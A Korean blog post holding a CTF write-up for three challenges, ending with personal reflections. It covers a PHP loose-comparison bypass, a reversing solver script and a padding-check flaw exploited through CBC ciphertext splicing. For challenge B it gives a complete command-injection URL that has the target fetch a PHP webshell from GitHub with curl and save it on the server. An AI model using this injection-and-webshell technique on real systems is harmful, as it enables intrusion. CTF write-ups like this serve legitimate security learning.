B, C, D 풀었다. (#10)
다들 엄청 잘한다.
B - Switching Command
할 것은 두 가지다. 첫 번째로, php의 '===' 연산자와 switch case 연산자의 비교가 다른 점을 이용하여 case "admin": 안으로 들어가야 한다.
php에서 '==='는 강한 비교, '=='는 약한 비교인데 switch case는 약한 비교이다. json에서는 true/false 타입을 지원하기 때문에 username에 true를 넣는다면 넘어갈 수 있다.
{"username":true}
다음으로 Command Injection을 하는데, 검열이 이렇다할 것이 없어서 curl의 -o 옵션을 사용하여 로컬 내에 웹쉘을 다운받고 실행하면 된다.
http://host3.dreamhack.games:9210/test.php?cmd=curl%20%22https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%22%20-o%20hello.php
C - Function Network
바이너리를 분석하게 되면 입력받은 문자에 대해 10000개의 명령을 실행한다. 명령은 각각 (I, A, B)의 3개의 원소를 가진다. 각각 첫 함수를 시작으로 32개의 함수를 I에 의해 정하면서 돌게 되는데 마지막에 실행되는 함수는 4가지로 다음과 같다. 우리가 입력한 문자를 M이라고 할 때,
1. M[A]와 M[B]를 바꾼다.
2. M[A]를 M[A] + M[B]로, M[B]를 M[A]로 바꾼다.
3. M[A]를 M[A] - M[B]로, M[B]를 M[A]로 바꾼다.
4. M[A]를 M[A] XOR M[B]로, M[B]를 M[A]로 바꾼다.
여기서 dfs를 돌려서 그래프를 완성시킨 후 dfs로 각각의 연산에 대해 역연산을 적용하면 된다.
from pwn import u64, u32
import z3
from tqdm import tqdm
with open('./chal', 'rb') as f:
filev = f.read()
insts_raw = filev[0xa020:0xa020+30000*8]
assert(len(insts_raw) % 8 == 0)
insts = []
for i in range(0, 30000*8, 3*8):
real_inst = u64(insts_raw[i:i+8])
src = u64(insts_raw[i+8:i+16])
dst = u64(insts_raw[i+16:i+24])
insts.append((real_inst, src, dst))
chks = set()
graph = {}
def dfs(node):
if node == 0x6f4c or node == 0x6f8f or node == 0x6fd0 or node == 0x7017:
return
if node in chks:
return
assert(u32(filev[node:node+4]) == 0xfa1e0ff3)
chks.add(node)
assert(filev[node+0x3d] == 232)
assert(filev[node+0x6a] == 232)
assert(filev[node+0x97] == 232)
assert(filev[node+0xb7] == 232)
kl = [ 0x3d, 0x6a, 0x97, 0xb7 ]
g = []
for i in kl:
jmpaddr = node + i + u32(filev[node+i+1:node+i+5]) + 5
g.append(jmpaddr)
dfs(jmpaddr)
graph[node] = g
dfs(0x1209)
print(graph)
def SUB(a, b):
return (a + 0x100 - b) % 0x100
def ADD(a, b):
return (a + b) % 0x100
def dfs2(node, inst, a, b):
if node == 0x6f4c:
cmp_l[b] = SUB(cmp_l[a], cmp_l[b])
cmp_l[a] = SUB(cmp_l[a], cmp_l[b])
elif node == 0x6f8f:
cmp_l[b] = cmp_l[a] ^ cmp_l[b]
cmp_l[a] = cmp_l[a] ^ cmp_l[b]
elif node == 0x6fd0:
cmp_l[b] = SUB(cmp_l[b], cmp_l[a])
cmp_l[a] = ADD(cmp_l[a], cmp_l[b])
elif node == 0x7017:
v = cmp_l[b]
cmp_l[b] = cmp_l[a]
cmp_l[a] = v
else:
dfs2(graph[node][inst & 3], inst >> 2, a, b)
cmp = """
EB A2 54 42 EF 6B 9A A7 B8 F7 FE 80 EC 89 0E AD
9F F6 E2 53 7C EB A7 B5 2A 7D E9 E9 7D ED 0C 4E
C0 52 66 25 B6 8E 87 D3 D9 A0 26 8D 6A 04 AF 66
1D 5D 57 6A B4 1F FB 6E 75 02 81 07 FC 40 B9 3B
"""
cmp = cmp.replace('\n', '').replace('\r', '').replace(' ', '')
cmp_l = []
for i in range(0, len(cmp), 2):
cmp_l.append(int(cmp[i:i+2], 16))
for I, A, B in tqdm(reversed(insts)):
dfs2(0x1209, I, A, B)
for i in cmp_l:
print(chr(i), end='')
D - Front-Back Padding
패딩은 이렇게 입는 것이 아니다. 첫째 취약점은 다음에 있다.
if n1 + n2 < 16:
return False, "wrong padding"
달리 말하면 n1 + n2가 16만 넘어도 된다. 따라서 마지막 전체를 happy_Amo_suffix로 맞추면 unpad의 검사를 무사히 우회할 수 있다. CBC의 특징을 조심하여 다음과 같이 payload를 구성하면 되다.
암호화된 플래그를 Ef, 'A'를 암호화한 문자열을 Ea라 할 때,
Ef + Ea
너무 간단해서 익스코드를 짤 필요도 없다.
후기
처음 참여한 랭크 CTF이다. 전에도 몇 번 참가한 경험이 있었지만 이번이 공식적으로 열심히 한 CTF이다. 일어난 시각이 오후 1시라서 늦게 시작했다. CTF가 시작하기 전에 기상했다면 리버싱은 퍼블 땄을 듯.
시스템 해킹 문제는 무서워서 못 건드렸다..
'Security - Player > CTF' 카테고리의 다른 글
CCE Jr 1st (1) | 2024.09.14 |
---|---|
Dreamhack Invitationals 후기 (1) | 2024.05.28 |
osu!gaming CTF 2024 Reversing Write-Up (0) | 2024.03.04 |
LACTF 2024 - Write-Up (0) | 2024.02.19 |